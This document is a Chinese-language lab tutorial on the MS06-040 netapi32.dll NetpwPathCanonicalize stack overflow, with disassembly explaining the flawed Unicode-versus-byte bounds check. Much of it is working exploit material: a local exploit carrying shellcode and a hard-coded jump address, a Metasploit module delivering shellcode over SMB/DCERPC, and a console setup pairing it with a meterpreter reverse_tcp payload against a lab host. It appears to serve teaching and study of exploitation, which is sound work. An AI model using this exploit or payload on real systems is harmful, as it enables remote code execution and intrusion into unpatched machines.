[toc]
RPC 漏洞 RPC 漏洞简介RPC 即 Remote Procedure Call,它是一种计算机进程间的通信方式。简单地说,RPC 就是让您在自己地程序中调用一个函数(可能需要很大地计算量),而这个函数在另外一个或多个远程机器上执行,执行完后将结果传回您的机器进行后续操作。
RPC漏洞,远程调用函数出现了问题,甚至有可被利用的安全漏洞。
RPC编程简介在 VC 中进行 RPC 调用的流程如下图所示。
使用 RPC 调用时首先应当定义远程进程的接口 IDL 文件。 IDL( Interface Description Language)是专门用来定义接口的语言,在这个文件里我们要指定 RPC 的接口信息以及 interface 下的 function 信息,包括函数的声明,参数等。
微软的 IDL 叫做 MIDL, 是兼容 IDL 标准的。定义好的 IDL 文件接口经过微软的 MIDL 编译器编译后会生成 3 个文件,一个客户端 stub(有些文献把 stub 翻译成“插桩”或“码桩”),一个服务端 stub,还有一个 RPC 调用的头文件。其中 stub 负责 RPC 调用过程中所有的网络操作细节。
在本章中将会用到 MS06-040 所需的接口文件,您可在看雪相关板块中下载附件。用 MIDL 编译接口文件rpc_exploit_040.acf 和 rpc_exploit_040.idl,得到 stub 文件和头文件。MIDL 编译器在 VC6.0 的组件里,可以在命令行下使用:
1 midl /acf rpc_exploit_040.acf rpc_exploit_040.idl
编译成功后,会在当前路径生成 3 个文件: ( 1) rpc_exploit_040_s.c RPC 服务端 stub(桩) ( 2) rpc_exploit_040_c.c R PC 客户端 stub(桩) ( 3) rpc_exploit_040.h RPC 头文件
把两个 stub 添加进工程, include 头文件,和调用远程函数的程序一起 link,您就可以试着 去调用远程主机上的函数了。
MS06-040 MS06-040 简介MS06-040 是这个漏洞的微软编号,其 CVE 编号为 CVE-2006-3439,对应补丁号为KB921883。
几乎所有使用 socket 网络的程序都会加载负责网络操作的 netapi32.dll。 MS06-040 指的就是这个动态链接库中的导出函数 NetpwPathCanonicalize() 中存在的缓冲溢出缺陷,而NetpwPathCanonicalize() 函数又可以被 RPC 远程调用,所以才会有这么大的危害。
动态调试NetpwPathCanonicalize()是 netapi32.dll 的一个导出函数,用于格式化网络路径字符串,它的原型如下:
1 2 3 4 5 6 7 8 int NetpwPathCanonicalize ( uint16 path[ ], uint8 can_path[ ], uint32 maxbuf, uint16 prefix[ ], uint32* pathtype, uint32 pathflags ) ;
这是一个 Unicode 字符串处理函数,大体功能是:如果 prefix 串非空,将 prefix 串与 path串用‘ \’相连,并复制到输出串 can_path 中,输出串的容量为 maxbuf 字节大小:
1 prefix + ‘\’ + path => can_path [max_buf]
在路径合并过程中,函数会做各种检查,如 prefix 或 path 长度是否越界、是否符合路径规范,或 can_path 的容量是否够大等等,否则函数将退出,并返回相应的错误号,例如,ERROR_INVALID_NAME ( 0x7B ), ERROR_INVALID_PARAMETER ( 0x135 ),NERR_BufTooSmall( 0x84B)等;函数成功则返回 0,并对 pathtype 进行更新。
首先在本地直接装载有漏洞的动态链接库,并调用这个函数,等到弄清楚栈中的细节之后,再实践远程利用。
触发这个漏洞的 POC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <windows.h> typedef void (*MYPROC) (LPTSTR, LPTSTR, int , LPTSTR, long *, long ) ; int main () { char path[0x320 ]; char can_path[0x440 ]; int maxbuf = 0x440 ; char prefix[0x100 ]; long pathtype = 44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[] = "./netapi32.dll" ; char VulFunc[] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc); memset (path, 0 , sizeof (path)); memset (path, 'a' , sizeof (path) - 2 ); memset (prefix, 0 , sizeof (prefix)); memset (prefix, 'b' , sizeof (prefix) - 2 ); (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0 ); FreeLibrary(LibHandle); return 0 ; }
这段代码的功能是装载存在漏洞的 netapi32.dll,并调用其导出函数 NetpwPathCanonicalize。在函数调用时我们将 path 和 prefix 设置成很长的字符串,用以触发栈溢出。注意这个字符串以两个字节的 null 结束,这是因为 NetpwPathCanonicalize 将按照 Unicode 来处理字符串。
memset()函数,将缓冲区设置为指定字符。
推荐的环境 备 注 操作系统 winXP SP3 本地调试与操作系统版本无关 漏洞文件 netapi32.dll 在没有 patch 过 KB921883 的 Window 2000 操作系统中,该文件位于 c:\winnt\system32 下 ; 若操作系统已经被 patch , 可 以在 c:\winnt$NtUninstallKB921883$下找到该文件;您也可以在本章的附带资料中找到这个动态链接库文件 编译器 VC++ 6.0 编译选项 默认编译选项 build 版本 Release 版本 debug 版本在调试时可能会有细节上的差异
注意: 需要未打补丁的netapi32.dll,Windows 2000在C:\WINNT\system32目录下能找到,或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。本实验指导的调试基于使用的漏洞文件大小为 309008 字节,您可以在本章附带的电子资料中找到这个文件,请您在编译运行 POC 代码时将这个漏洞文件放在工程的相同路径下。
netapi32.dll 下载链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq
定位程序崩溃点编译运行后,系统会提示出错,直接点调试。进入OD后,按 F9 运行到程序崩溃处,可以看到 EBP 和 EIP 都被覆盖为 “aaaa”。
重新加载程序,调试来到 call netapi32.NetpwPathCanonicalize 处。
进入 NetpwPathCanonicalize() 函数体后,按 “F8” 键继续单步跟踪。程序将在另一次函数调用时崩溃。
重新加载,“F7” 继续跟进,最后发现,在函数返回前 pop ebx 中,向栈中压入了大量 b 充当无效数据,导致在 retn 时,返回地址错误,发生崩溃。
构造exploit反复跟踪后溢出函数后,发现这段程序首先将 prefix 所指的字符串“ bbbbbb……” 复制到栈中,然后在这个字符串后加上 Unicode 字符“\”( 0x5C00),再将 path 中的长字符串“ aaaa……”连接在末尾,而正是连接 path 串的 wcscat 调用触发了漏洞。
程序“跑飞”之前的系统状态。 ( 1) prefix 串中包含了 0xFE 个字符‘b’( 0x62),被复制到栈帧中开始于 0x0012F240 处的缓冲区。 ( 2)程序在 prefix 的末尾连接上 Unicode 字符‘ \’( 0x005C)。 ( 3)程序在‘ \’后连接 0x31E 个字符‘ a’( 0x61),这次字符串连接操作造成了栈帧溢出,位于 0x0012F654 处的 EBP 及紧随其后的返回地址都被改写。(图26.2.6地址与本次实验地址不同)
ECX 在函数返回时总是指向栈中缓冲区,因此我们可以把 shellcode 放在 prefix 串中,并采用JMP ECX 作为定位 shellcode 的跳板。用 OllyDbg 在内存中搜索指令 JMP ECX。
用 netapi32.dll 自身代码空间中 0x751852F9 处的 CALL ECX 作为跳转指令。
布置缓冲区如下。 ( 1)缓冲区中的内容为: (prefi x:bbb …) +( \) +( path: aaa…)。 ( 2)目前 prefix 串大小为 0x100( 256)字节,除去两个字节 null 作为结束符, 254 字节基本能够容纳 shellcode。 ( 3)缓冲区起址: 0x0012F240。 ( 4) EBP 位置: 0x0012F654。 ( 5)返回地址: 0x0012F240。 ( 6)返回地址距离缓冲区的偏移为: 0x0012F654-0x0012F240=0x418,去掉 prefix 和 ‘ \’ 的影响, path 串偏移 0x418-0x100=0x318 处的 DWORD 将淹没返回地址,在那里填入跳转地址即可执行 shellcode。
仍然使用弹出“ failwest”消息框的 shellcode 进行测试,最终的本地溢出利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include "stdafx.h" #include <windows.h> typedef void (*MYPROC) (LPTSTR, LPTSTR, int , LPTSTR, long *, long ) ;char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; int main () { char path[0x320 ]; char can_path[0x440 ]; int maxbuf=0x440 ; char prefix[0x100 ]; long pathtype=44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[] = "./netapi32.dll" ; char VulFunc[] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset (path,0 ,sizeof (path)); memset (path,0x90 ,sizeof (path)-2 ); memset (prefix,0 ,sizeof (prefix)); memset (prefix,'a' ,sizeof (prefix)-2 ); memcpy (prefix,shellcode,168 ); path[0x318 ]=0xF9 ; path[0x319 ]=0x52 ; path[0x31A ]=0x18 ; path[0x31B ]=0x75 ; (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0 ); FreeLibrary(LibHandle); }
编译运行,就能看到 failwest 消息框了。
总结一下动态调试的思路。 ( 1)第一次调试看到 EIP 已经被改写为 0x61616161,证明传入的参数可以制造溢出并控制EIP,但堆栈被破坏,无法看到溢出前的函数调用。 ( 2)跟踪调试,找到 NetpwPathCanonicalize 的 VA 地址,直接对这个 VA 地址下断点。 ( 3)单步跟踪 NetpwPathCanonicalize 函数,观察寄存器的变化,发现是其中的一次函数调用引起的错误。 ( 4)第三次调试直接针对 NetpwPathCanonicalize 中引起错误的子函数,单步跟踪一轮后,彻底弄清楚栈中布局,编写本地 exploit。
静态分析通过 IDA 加载 netapi32.dll,找到漏洞的缺陷代码,NetpwPathCanonicalize 函数中的 CanoicalizePathName 函数,如下图黄色框内。
在动态调试时,我们已经知道产生溢出的函数实际上是 0x7517F856 处调用的的子函数 CanonicalizePathName(), prefix 串与 path 串的合并操作就位于其中,该函数的声明如下:
1 2 3 4 5 6 7 int CanonicalizePathName ( uint16 prefix[ ], uint16 path[ ], uint8 can_path[ ], uint32 maxbuf, uint32 can_size ) ;
用 IDA 重点看一下这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 ; =============== S U B R O U T I N E =============================== ; int stdcall CanonicalizePathName(wchar_t *, wchar_t *, wchar_t*, int, int) 7517FC68 CanonicalizePathName proc near 7517FC68 7517FC68 Buff_last_word = word ptr -416h 7517FC68 Buff_OF = word ptr -414h 7517FC68 arg_Prefix = dword ptr 8 7517FC68 arg_Path = dword ptr 0Ch 7517FC68 arg_CanPath = dword ptr 10h 7517FC68 arg_Maxbuf = dword ptr 14h 7517FC68 arg_CanSize = dword ptr 18h 7517FC68 7517FC68 push ebp 7517FC69 mov ebp, esp 7517FC6B sub esp, 414h ; 分配 0x414 字节栈空间,即 Buff_OF,用来 ; 存储合并路径(prefix+’\’+path) 7517FC71 push ebx 7517FC72 push esi 7517FC73 xor esi, esi 7517FC75 push edi 7517FC76 cmp [ebp+arg_Prefix], esi 7517FC79 mov edi, ds:__imp_wcslen 7517FC7F mov ebx, 411h ; ebx 始终等于 0x411,用于检查越界(字节) ; 长度 7517FC84 jz short @@prefix_ptr_zero 7517FC86 push [ebp+arg_Prefix] 7517FC89 call edi ; __imp_wcslen ; 计算 prefix 串的 Unicode 长度,注意为字 ; 节长度的一半,这是导致边界检查被突破的根 ; 本原因,即用 Unicode 检查边界,而栈空间 ; 是按字节开的 7517FC8B mov esi, eax ; esi 始终记录 prefix 串的 Unicode 长度 7517FC8D pop ecx 7517FC8E test esi, esi 7517FC90 jz short @@chk_pathname 7517FC92 cmp esi, ebx ; prefix 是否大于 0x411 7517FC94 ja @@err_invalid_name ; 若越界,则退出程序 7517FC9A push [ebp+arg_Prefix] 7517FC9D lea eax, [ebp+Buff_OF] 7517FCA3 push eax 7517FCA4 call ds:__imp_wcscpy ; 将 prefix 串写入栈空间 Buff_OF 暂存。虽然前 ; 面的边界检查有缺陷,似乎实际可以传入的 prefix ; 串可以达到 0x822 字节,但是在传入本函数前, ; prefix 串已被 NetpwPathType()检查过,其长度 ; 不能超过 0x206 字节,所以光靠这里的检查缺陷 ; 还不足以通过 prefix 串制造溢出 … 7517FCED @@prefix_ptr_zero: 7517FCED mov [ebp+Buff_OF], si 7517FCF4 @@chk_pathname: 7517FCF4 push [ebp+arg_Path] 7517FCF7 call edi ; __imp_wcslen ; 计算 path 串的 Unicode 长度 7517FCF9 add eax, esi ; 合并前,计算合并路径(prefix+’\’+path)的 ; Unicode 长度 7517FCFB pop ecx 7517FCFC cmp eax, ebx ; 第二次边界检查,仍然将 Unicode 字符长度与 ; 字节长度 0x411 进行比较 7517FCFE ja short @@err_invalid_name ; 从前面的分析可以知道,只靠 prefix 串是无法 ; 制造溢出的,但是 path 串的传入没有任何限制, ; 所以可以通过增加 path 串的长度溢出。栈空间 ; 为 0x414,我们实际可以传入的串总长可以达到 ; 或或超过 0x828 7517FD00 push [ebp+arg_Path] 7517FD03 lea eax, [ebp+Buff_OF] 7517FD09 push eax 7517FD0A call ds:__imp_wcscat ; 将 path 串继续连入 Buff_OF,生成最终 ; 的合并路径,这个调用导致了最终的栈溢出 … 7517FD3E @@err_invalid_name: 7517FD3E push ERROR_INVALID_NAME 7517FD40 pop eax 7517FD41 jmp short @@quit … 7517FD7A @@quit: 7517FD7A pop edi 7517FD7B pop esi 7517FD7C pop ebx 7517FD7D leave 7517FD7E retn 14h 7517FD7E CanonicalizePathName endp ; =============== S U B R O U T I N E ===============================
两次边界检查的限制都是 Unicode 长度不能超过 0x411,换算成字节长度就是 0x822,而栈空间的大小是按字节开的 0x414。按照 ASCII 字符开辟空间,按照 Unicode 字符来检查边界是漏洞的根本原因。 依据以上的溢出原理,只要设计好 prefix 串和 path 串的长度,调用 NetpwPath Canonicalize 函数即可发生栈溢出。
实现远程 exploit进行 RPC 调用的代码框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client end def initialize (info = {} ) super (update_info(info, 'Name' => 'MS06-040 Remote overflow POC ' , 'Platform' => 'win' , 'Targets' => [['Windows 2000 SP0' , {'Ret' => [0x318 , 0x74FB62C3 ]} ]] )) register_options([OptString.new( 'SMBPIPE' , [true,"(BROWSER, SRVSVC)" , 'BROWSER' ] ),], self.class ) end def exploit connect() smb_login() handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' , 'ncacn_np' , ["\\#{datastore['SMBPIPE']}" ]) dcerpc_bind(handle) prefix = ...... path = ...... stub =NDR.long(rand(0xffffffff )) + NDR.UnicodeConformantVaryingString('' ) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0 )+1 ) + NDR.UnicodeConformantVaryingStringPreBuilt(prefix) + NDR.long(rand(0xf0 )+1 ) + NDR.long(0 ) dcerpc.call(0x1f , stub) disconnect end end
我们只需要关注 path 串和 prefix 串的内容,在恰当的位置布置特定的内容, MSF 和远程的主机会自动按照 RPC 协议为我们完成网络握手、参数解析、函数定位等工作。
攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize (info = {} ) super (update_info(info, 'Name' => 'MS06-040 Remote overflow POC ' , 'Platform' => 'win' , 'Targets' => [['Windows 2000 SP0' , {'Ret' => [0x318 , 0x74FB62C3 ]} ]] )) register_options([OptString.new( 'SMBPIPE' , [true,"(BROWSER, SRVSVC)" , 'BROWSER' ] ),], self.class ) end def exploit connect() smb_login() handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' , 'ncacn_np' , ["\\#{datastore['SMBPIPE']}" ]) dcerpc_bind(handle) prefix = "\x8B\xC1\x83\xC0\x05\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64" + "\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B" + "\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73" + "\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B" + "\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47" + "\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A" + "\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59" + "\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E" + "\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB" + "\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50" + "\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C" + "\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56" + "\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00" path = "\x90" * 0x318 + [target['Ret' ][1 ]].pack('V' ) + "\x04\xD0\xFD\x7F" * 5 + "\x66\x81\xEC\x30\x04" + "\x8B\xC4" + "\xFF\xE4" + "\x00\x00" stub =NDR.long(rand(0xffffffff )) + NDR.UnicodeConformantVaryingString('' ) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0 )+1 ) + NDR.UnicodeConformantVaryingStringPreBuilt(prefix) + NDR.long(rand(0xf0 )+1 ) + NDR.long(0 ) dcerpc.call(0x1f , stub) disconnect end end
配置攻击机:kali
IP地址:192.168.188.141
靶机:Windows2000 sp4
IP地址:192.168.188.133
准备首先确定靶机开启的端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(host㉿kali)-[~] └─$ sudo nmap --allports -O 192.168.188.133 [sudo] host 的密码: Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-15 21:22 CST Nmap scan report for 192.168.188.133 Host is up (0.00030s latency). Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1723/tcp open pptp MAC Address: 00:0C:29:97:7A:5F (VMware) Device type: general purpose Running: Microsoft Windows 2000|XP OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp::sp1 OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1 Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 3.64 seconds
可以看到打开了445端口。
最后的配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 msf6 exploit(rgzz/ms06_040) > show options Module options (exploit/rgzz/ms06_040): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.188.133 yes The target host(s), see https://gith ub.com/rapid7/metasploit-framework/w iki/Using-Metasploit RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.188.141 yes The listen address (an interface ma y be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 2000 SP0
用上面给出的代码,结果出错了,导致了靶机关机。
调试 service.exe将OD附加到services上,然后在NetpwPathCanonicalize(0x75107AFD)上下一个断点,F9继续执行。
回到攻击机上,执行exploit,再回到靶机,发现并没有在 NetpwPathCanonicalize 停下,而是直接提示关机,这样就无法进行后续调试了。不知道是不是漏洞已经被修补的缘故。上面的本地实验中,我用的也是本书资料中提供的netapi32.dll。
Windows XP 环境下的 MS06—040 exploit 静态分析选取 Windows XP SP3 的 netapi32.dll,对其 CanonicalizePathName 函数做静态分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 ; =============== S U B R O U T I N E ======================================= ; int __stdcall CanonicalizePathName(wchar_t*, wchar_t *, wchar_t *, int, int) 71BA428B CanonicalizePathName proc near 71BA428B 71BA428B Buff_last_word = word ptr -416h 71BA428B Buff_OF = word ptr -414h 71BA428B arg_Prefix = dword ptr 8 71BA428B arg_Path = dword ptr 0Ch 71BA428B arg_CanPath = dword ptr 10h 71BA428B arg_Maxbuf = dword ptr 14h 71BA428B arg_CanSize = dword ptr 18h 71BA428B 71BA428B push ebp 71BA428C mov ebp, esp 71BA428E sub esp, 414h ; 依然分配了 0x414 字节栈空间,即 Buff_OF, ; 用来存储合并路径(prefix+’\’+path) 71BA4294 push ebx 71BA4295 mov ebx, ds:__imp_wcscat 71BA429B push esi 71BA429C xor esi, esi 71BA429E cmp [ebp+arg_Prefix], esi ; prefix 指针是否为 0 71BA42A1 push edi 71BA42A2 mov edi, ds:__imp_wcslen 71BA42A8 jnz @@prefix_ptr_not_zero ; 若 prefix 非 0,跳转至@@prefix_ptr_not_zero 71BA42AE mov [ebp+Buff_OF], si ; 若 prefix 为 0,初始化 Buff_OF 为空串 71BA42B5 @@chk_pathname: 71BA42B5 push [ebp+arg_Path] 71BA42B8 call edi ; __imp_wcslen ; 计算 path 串的 Unicode 长度 71BA42BA add eax, esi ; 计算合并路径长度 71BA42BC cmp eax, 207h ; 对合并路径长度做越界检查,请注意,这里已经将 ; 字节长度除 2,转化为 unicode 长度 0x207,而 ; 在 Windows 2000 中,这个值是 0x411,没有做 ; 转化,可见 Windows XP 的溢出另有原因! 71BA42C1 pop ecx 71BA42C2 ja @@err_invalid_name 71BA42C8 push [ebp+arg_Path] 71BA42CB lea eax, [ebp+Buff_OF] 71BA42D1 push eax 71BA42D2 call ebx ; __imp_wcscat ; 将 Buff_OF(prefix+’\’)与 path 串合并 ; 得到合并路径 … 71BA4317 lea eax, [ebp+Buff_OF] 71BA431D push eax 71BA431E call edi ; __imp_wcslen ; 计算合并路径 Unicode 长度 71BA4320 lea eax, [eax+eax+2] ; 将 Unicode 长度转化为字节长度并加上结尾 ; 的两个空字节 71BA4324 cmp eax, [ebp+arg_Maxbuf] ; 检查 can_path 的容量 maxbuf,是否可以 ; 可以容纳合并路径 71BA4327 pop ecx 71BA4328 ja @@err_buf_too_small ; 若 can_path 空间不够,退出 71BA432E lea eax, [ebp+Buff_OF] 71BA4334 push eax 71BA4335 push [ebp+arg_CanPath] 71BA4338 call ds:__imp_wcscpy ; 将合并路径复制 Buff_OF 至 can_path 71BA433E pop ecx 71BA433F pop ecx 71BA4340 xor eax, eax ; 路径合并成功,返回 0 71BA4342 @@quit: 71BA4342 pop edi 71BA4343 pop esi 71BA4344 pop ebx 71BA4345 leave 71BA4346 retn 14h 71BA4349 @@err_invalid_name: 71BA4349 push ERROR_INVALID_NAME 71BA434B pop eax 71BA434C jmp short @@quit 71BA434C CanonicalizePathName endp … 71BB0E2D @@prefix_ptr_not_zero: 71BB0E2D push [ebp+arg_Prefix] 71BB0E30 call edi ; __imp_wcslen 71BB0E32 mov esi, eax ; esi 存储 prefix 串的 unicode 长度 71BB0E34 test esi, esi ; 检查 prefix 串长度是否为 0,即空串 71BB0E36 pop ecx 71BB0E37 jz @@chk_pathname ; 如果 prefix 为空串,则跳至 ; @@chk_pathname,请注意,如果代码 ; 流程走到这里, Buff_OF 始终是没有初 ; 始化的!这是 MS06-040 的另一个溢出点 71BB0E3D cmp esi, 208h ; 如果 prefix 串非空,其 Unicode 长度 ; 不能超过 0x208,否则退出 71BB0E43 ja @@err_invalid_name … 71BB0EA9 @@err_buf_too_small: 71BB0EA9 mov ecx, [ebp+arg_CanSize] 71BB0EAC test ecx, ecx 71BB0EAE jz short @@err_buf_too_small2 71BB0EB0 mov [ecx], eax 71BB0EB2 @@err_buf_too_small2: 71BB0EB2 mov eax, NERR_BufTooSmall 71BB0EB7 jmp @@quit … ; =============== S U B R O U T I N E =======================================
从上面的第 31 行中可以看到,上一个实验中 cmp eax,411 已经被修补,无法在利用。不过,通过进一步静态分析,可以发现 CanonicalizePathName 函数在分配了栈空间 Buff_OF 后,没有进行初始化;如果 prefix 指针为 0,代码会对 Buff_OF 做初始化(见 0x71BA42AE);而如果 prefix 非 0,并指向空字串,代码将直接对未初始化的 Buff_OF 和 path 串用 wcscat 函数进行连接(见 0x71BA42B5-0x71BA42D2)。这是一个非常危险的操作,因为未初始化的栈空间 Buff_OF 的长度是未知的,甚至可能超过 0x414 字节,其后再连接上 path 串,很有可能产生溢出。
由于 Buff_OF 位于栈中,内容随机,怎样控制它的长度,是如何利用这个漏洞的重点。我们可以通过连续调用 CanonicalizePathName 函数来控制它的长度。 因为当 Buff_OF 被首次填充并连接,直到 CanonicalizePathName 函数退出后,其所在的栈空间位于 ESP 的低地址,如果不做任何栈操作,如函数调用等,内容是不会改变的;此时,如果再次调用 CanonicalizePathName,已经被填充的 Buff_OF 将面临溢出的风险。
CanonicalizePathName 是 NetpwPathCanonicalize 的子函数,不能直接被调用。分析一下函数 NetpwPathCanonicalize 是如何调用 CanonicalizePathName 的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 71BA421A mov esi, [ebp+arg_CanPath] 71BA421D push edi 71BA421E push [ebp+arg_Maxbuf] 71BA4221 mov [esi], di 71BA4224 push esi 71BA4225 push [ebp+arg_Path] 71BA4228 push ebx 71BA4229 call CanonicalizePathName 71BA422E cmp eax, edi ; 检查函数 CanonicalizePathName 的返回值 71BA4230 jnz short @@quit ; 非 0 则直接退出 71BA4232 push edi 71BA4233 push [ebp+arg_Pathtype] 71BA4236 push esi 71BA4237 call NetpwPathType 71BA423C jmp short @@quit ... ; =============== S U B R O U T I N E ======================================= ; int __stdcall NetpwPathCanonicalize(wchar_t *, wchar_t *, int, int, int, int) 71BA4244 public NetpwPathCanonicalize 71BA4244 NetpwPathCanonicalize proc near 71BA4244 71BA4244 arg_Path = dword ptr 8 71BA4244 arg_CanPath = dword ptr 0Ch 71BA4244 arg_Maxbuf = dword ptr 10h 71BA4244 arg_Prefix = dword ptr 14h 71BA4244 arg_Pathtype = dword ptr 18h 71BA4244 arg_Pathflags = dword ptr 1Ch ... 71BA4284 @@quit 71BA4284 pop edi 71BA4285 pop esi 71BA4286 pop ebx 71BA4287 pop ebp 71BA4288 retn 18h 71BA4288 NetpwPathCanonicalize endp ...
如果能够使 CanonicalizePathName 调用失败(返回值非 0),NetpwPathCanonicalize 将直接退出,从而保证 Buff_OF 所在的栈空间不发生变化。由于参数 maxbuf 是可控的,我们可 以 利 用 较 小 的 maxbuf , 使 CanonicalizePathName 返 回 NERR_BufTooSmall (参看 0x71BA4317-0x71BA4328)而直接退出。
MS06-040 在 Windows XP 下溢出的 POC 代码:
